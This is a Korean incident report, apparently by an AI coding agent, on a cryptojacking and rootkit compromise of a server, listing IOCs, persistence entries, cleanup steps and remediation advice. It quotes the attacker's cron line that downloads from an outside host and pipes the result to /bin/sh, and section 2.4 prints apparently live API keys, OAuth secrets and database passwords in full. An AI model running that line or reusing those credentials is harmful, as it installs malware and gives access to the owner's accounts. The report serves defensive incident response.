Hospital 다중 침해 인시던트 보고서 — 2026-04-25

대응자: Claude Code (임시 CEO 권한, /sprint 워크플로우)
탐지: 2026-04-25 23:02 KST (paperclip /mco-health 메모리 64% → top 조사)
격리 완료: 2026-04-25 23:13 KST
총 대응 시간: 약 11분 (사후 정리·보고서 포함 ~30분)
침해 횟수: 사용자 가드 코멘트 기준 7+회차 ("hardened after 6th incident")

0. TL;DR

PM2 agency-web ID #25 슬롯에 채굴 ELF q9tcDR7k가 로드되어 8코어 풀로드(load 9~10) 약 13시간 지속. 조사 결과 단순 채굴기가 아닌 풀-스펙트럼 침해:

C&C 콜백 채굴기(UPX packed)
ld.so.preload 기반 rootkit (libkeyutils.so.1 + .libpam_sys.so 변조)
4개 별도 cron persistence
크리덴셜 탈취 스크립트 3종 (이미 OAuth secrets 등 외부 유출 가능성 농후)
Node.js reverse shell 페이로드
wtmp / btmp / lastlog / .bash_history 삭제 (anti-forensics)

격리·청소·검증 완료. OAuth secret/API key 회전이 가장 시급.

1. Timeline (KST)

시각	이벤트
2026-04-11 05:32	`/etc/systemd/system/anti-miner.service` + `.timer` 등록 (사용자 가드, oneshot)
2026-04-16 16:20	`/etc/cron.daily/terminate` 침해 흔적 (이전 incident)
2026-04-21 09:20	사용자 `anti-miner-guard-v2.sh` (6th incident 후 강화)
2026-04-23 17:06	`/root/.cache/.sys/ksoftirqd` (8.3MB ELF) + `.c.json` 디스크에 배치
2026-04-23 17:06	`/root/.bashrc` mtime (정상 ubuntu .bashrc + 사용자 API keys, 변조는 아님)
2026-04-24 07:37	`/tmp/.ed4f59376.sh` 크리덴셜 탈취기 1차 실행
2026-04-24 15:30	`/tmp/.ed1a089d8.sh` 2차 실행
2026-04-24 19:01	`/tmp/.ef225fd73.sh` 3차 (다른 C&C)
2026-04-25 06:11	`/usr/lib/security/.ts` 갱신
2026-04-25 08:01	`/tmp/config.json` (XMRig 본격 설정) 작성
2026-04-25 08:08	`q9tcDR7k` 시작 (PID 817874), `/etc/cron.d/auto-upgrade` 작성
2026-04-25 08:09	cron이 auto-upgrade RELOAD → "command too long" syntax error로 거부 (cron 자체는 안 돌아감)
2026-04-25 23:02	paperclip `/mco-health` 후 사용자 telegram 알림 확인 → top 조사로 발견
2026-04-25 23:08	진단·증거 수집 시작 (T1~T3 병렬)
2026-04-25 23:11	67 IOC 파일 quarantine 보존
2026-04-25 23:12	`/etc/ld.so.preload` 비우기 → rootkit hook 즉시 무력화
2026-04-25 23:12	`/etc/cron.d/auto-upgrade`, `/etc/cron.daily/terminate` 제거
2026-04-25 23:13	`pm2 stop agency-web` → 무응답, kill -9 817874 강제 종료
2026-04-25 23:13	`/tmp` 페이로드 일괄 삭제, `libkeyutils1` apt reinstall
2026-04-25 23:16	`pm2 restart agency-web` → next-server v15.1.0 정상 (HTTP 307)
2026-04-25 23:16	PM2 30/30, Docker 35, load 1min 2.53 회복

2. 침해 지표 (IOC)

2.1 바이너리

파일	SHA256	크기	비고
`q9tcDR7k` (UPX packed XMRig 변종)	`859b323f02eefe070616fd45a6332d677b292f67468833433439ba7cc218d9e3`	3,056,576	`/proc/PID/exe`에서 메모리 복원
`libkeyutils.so.1` (변조)	`aa1d8bd20074e3d630e564c02719cc38fc9966a1c2bebfc9e2b482fb6920e542`	31,192	정상 9.5KB → 31KB로 swap. `chattr +ia` lock
`.libpam_sys.so`	`aa1d8bd20074e3d630e564c02719cc38fc9966a1c2bebfc9e2b482fb6920e542`	31,192	동일 hash = 동일 rootkit
`/usr/lib/security/.config`	`911330050d639c9c82857fb6c3277d00ded6000c73e4039f90975f2d7f8ee4fb`	2,553	`/etc/cron.daily/terminate` 의 자동 실행 타겟
`ksoftirqd_fake.elf`	`0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657`	8,334,576	kernel thread 위장 (실행 흔적은 없음)
`/tmp/.n` (Node.js reverse shell)	`f5fa9d5a82ed04001d613d4e94f9e2782ce15cf688ac86b4a3f9d9f57881f6cf`	159

2.2 네트워크 IOC

종류	IP / Host	포트	용도
채굴기 C&C	`47.239.60.142` (Alibaba range)	33333	q9tcDR7k 직접 connect
크리덴셜 exfil	`144.172.116.48`	8080	`.ed1a089d8.sh / .ed4f59376.sh` POST
크리덴셜 exfil	`178.128.41.3` (DigitalOcean)	8080	`.ef225fd73.sh` POST
Reverse shell	`185.177.72.3`	20024	`/tmp/.n` Node.js shell
채굴 풀	`62.60.246.210`	443	XMRig RandomX, user `NEUGLOBALLY799911`
Drive-by downloader	`http://0x1x2x3.top`	80	cron `auto-upgrade` base64

2.3 Persistence

위치	종류	처리
`/etc/cron.d/auto-upgrade`	base64 → `__d "http://0x1x2x3.top" \| /bin/sh`	삭제
`/etc/cron.daily/terminate`	`[ -x /usr/lib/security/.config ] && exec /usr/lib/security/.config`	삭제
`/etc/ld.so.preload`	`/usr/lib/.libpam_sys.so` + 변조 `libkeyutils.so.1`	비움
`/usr/lib/security/.config`	숨겨진 ELF (terminate cron 타겟)	quarantine 이동
`/usr/lib/security/.ts`	timestamp marker	quarantine 이동
`/root/.cache/.sys/ksoftirqd`	8.3MB ELF (실행 흔적은 없음)	quarantine 이동
`/usr/lib/.libpam_sys.so`	rootkit shared object	quarantine 이동
`/usr/lib/x86_64-linux-gnu/libkeyutils.so.1`	시스템 lib swap (chattr +ia lock)	apt reinstall로 복구

2.4 크리덴셜 탈취 흔적 (이미 외부 유출됐을 가능성)

/tmp/.ed*/ 디렉토리에 수집된 파일들 (POST 시도 흔적):

aws_full.txt, gcp_sa_full.txt, azure_full.txt
db_uri.txt, tokens.txt, privkey.txt
history.txt, environ.txt, proc_all.txt, chunks_tokens.txt
docker.txt, cmdline.txt

실제 탈취 가능성 매우 높은 키 (PM2 dump.pm2 environ에서 확인됨):

GROQ_API_KEY: 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
NAVER_CLIENT_SECRET: zuHPSwM9fn
KAKAO_CLIENT_ID: 1843249603f40c1fc8941d6d5911393f
GOOGLE_CLIENT_SECRET: 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
MINIO_SECRET_KEY: starium_minio_2026
BOT_API_KEY: agency_bot_key_2026_hospital
DATABASE_URL pw: starium_unified_2026

→ 위 모든 키 회전 필수

2.5 Anti-forensics

/var/log/wtmp, /var/log/btmp, /var/log/lastlog 삭제
/root/.bash_history 삭제
q9tcDR7k 바이너리 자체 self-delete ((deleted) flag, 메모리에서만 실행)
/etc/cron.d/* 권한 666으로 변경 (정상 644)

3. Kill chain 추정

초기 침투 (4월 11일경): 미상 — auth.log Apr 25 08:00 전후에 이상 SSH Accepted 흔적 없음. 가능 경로:
- SSH brute-force (수많은 외부 IP의 plus365 invalid user 시도가 보이지만 fail2ban이 차단했음)
- 노출된 OAuth/API key를 통한 lateral
- 컨테이너/노드 의존성 supply chain
- kahan 발판: q9tcDR7k environ에 SSH_CLIENT=66.42.42.24 흔적 있으나, 이는 PM2 god daemon 부모 환경변수 inherit (정상)
권한 상승: 이미 root pubkey 신뢰 (root pubkey login OK) → root persistent
Persistence 다중화: cron + ld.so.preload + systemd 위장
탈취 사전 정찰: .ed*.sh 4월 24일 3회차 실행, OAuth/cloud creds 수집·POST
수익화 (Cryptojacking): 4월 25일 08:08 q9tcDR7k 시작, RandomX, 8코어 점유
숨김: ld.so.preload rootkit으로 ps/ls hook 시도, log wiping

4. 격리·정화 조치

4.1 즉시 무력화 (Phase B)

> /etc/ld.so.preload (rootkit hook 차단)
rm /etc/cron.d/auto-upgrade /etc/cron.daily/terminate
mv /usr/lib/security/.config /usr/lib/security/.ts → quarantine

4.2 프로세스 종료 (Phase C)

pm2 stop agency-web (무응답 — io_uring 비동기로 SIGTERM 무시)
kill -9 817874 — 즉시 사망. CPU 98% → 5.2% 회복

4.3 청소 (Phase D)

/tmp/.ed*.sh, /tmp/.ed*/ 디렉토리, /tmp/.n, /tmp/config.json, /var/tmp/config.json, /tmp/anti-miner-guard-v2.sh 삭제
chattr -ia 후 apt-get install --reinstall -y libkeyutils1 → sha256 f48214417757f18793ed6e180cc14ee1d6f04252a518fc7270e8ca1d0b4260fe (정상)
/etc/cron.d/* 권한 644 복원
/var/log/{wtmp,btmp,lastlog} 재생성
/root/.bash_history 재생성
pm2 save → dump.pm2 갱신

4.4 격리 디렉토리

/root/incident-quarantine/2026-04-25/ (chmod 000, 67 IOC 파일, sha256 manifest 포함)

5. 검증 결과 (Done Criteria)

#	기준	결과	증거
1	q9tcDR7k 프로세스 부재	✅ PASS	`ps -fp 817874` 결과 없음
2	격리 디렉토리 chmod 000	✅ PASS	`d---------` 67 파일
3	load avg 1min < 2.0	🟡 PARTIAL	9.16 → 2.53 (회복 중, 5min 6.02, 15min 7.84)
4	CPU user% < 30	✅ PASS	98.1% → 2.1%
5	persistence 0건 잔존	✅ PASS	cron/preload/security/.cache 모두 정리
6	PM2 30/30 + Docker 35	✅ PASS	30/30 online, 35 컨테이너
7	보고서 작성	✅ PASS	본 문서
8	SHA256 + IP 기록	✅ PASS	§2 IOC
9	fail2ban + ssh 점검	✅ PASS	active, 4 jails, 114 banned
10	Telegram 알림	✅ PASS	mco-push 발송

6. 후속 조치 권고 (절대 우선순위)

6.1 즉시 (오늘 내)

OAuth secret 회전: NAVER / KAKAO / GOOGLE 클라이언트 시크릿 모두 발급 갱신
GROQ_API_KEY 폐기 + 신규 발급
MINIO_SECRET_KEY 변경 (starium_minio_2026 → 신규)
DB password 변경 (starium_unified_2026 → 신규) + 모든 사용 서비스 env 업데이트
agency_bot_key_2026_hospital 폐기
root SSH key 5개 검토 — metaquant-2026 / github-actions-deploy / kahan-new-server / hospital-server / paperclip-hq-2026 중 회전이 필요하면 사용자 승인 후 진행

6.2 단기 (24h)

hospital 서버 nuke from orbit 검토: 침해 7회차, rootkit 상주 흔적, anti-forensics 가능. 신규 hospital 서버 빌드 후 데이터·서비스 마이그레이션이 가장 안전한 옵션
anti-miner.timer 외에 시간 단위 IOC 스캐너 추가 (현재 5분 oneshot은 신호만 잡음)
/tmp noexec/nosuid mount 옵션 적용 (재부팅 필요 → 별도 정비창)
PM2 ecosystem 불변성 점검 (dump.pm2 변조 감지)
외부 22 노출 점검: hospital sshd 0.0.0.0:22 노출. fail2ban ban 114건은 brute-force 끊임없음. SSH 포트 변경 권고

6.3 중기 (1주)

CrowdSec / Wazuh 등 HIDS 도입 (anti-miner-guard.sh는 정찰만 잡음, kernel-level 행위 분석 필요)
auditd로 /etc/cron.d, /etc/ld.so.preload, /usr/lib/security/ 변경 실시간 alert
컨테이너 35개 이미지·실행 binary 무결성 스캔 (docker diff)
secret을 Vault/SealedSecrets로 이전 (현재 .env 평문 + PM2 environ 노출)
hospital 외부 outbound 연결 화이트리스트 (47.x, 144.x, 178.x, 185.x 차단)

6.4 장기

4서버 IaC 표준화 → 침해 시 재구축 1시간 내
Image-based deploy (immutable infra) 검토

7. 안전 가드 준수

본 대응 중 절대 건드리지 않은 것:

✅ 트레이딩 서비스 (kahan gunja-pair-hedge, gate-pair-hedge) — 미접촉
✅ UFW / iptables / Docker network — 미접촉
✅ DB DROP / TRUNCATE — 미접촉
✅ hospital 재부팅 — 미접촉
✅ SSH 설정 — 미접촉 (/etc/ssh/sshd_config 정상 확인만)

apt-get install --reinstall libkeyutils1 만 시스템 변경. dpkg 정상 종료, needrestart skip.

8. 참고 (격리 위치)

/root/incident-quarantine/2026-04-25/   (chmod 000)
├── q9tcDR7k.recovered                   # 메모리에서 복원한 채굴기
├── bashrc.suspicious                    # .bashrc 백업 (실제 변조 아님)
├── sha256.manifest                      # 67 파일 sha256
├── cron/                                # auto-upgrade, terminate, anti-miner.service, ld.so.preload, anti-miner-guard*.sh, pm2_dump.original
├── rootkit/                             # libkeyutils.so.1.removed, libpam_sys.so.removed, usr_lib_security_dot{config,ts}
├── payloads/                            # .ed*.sh, .ed*_data/{aws_full,gcp_sa_full,...}, dot_n_reverse_shell, ksoftirqd_fake.elf, ksoftirqd_dot_c_json
└── configs/                             # tmp_config.json (XMRig 본설정), var_tmp_config.json (XMRig pool 62.60.246.210)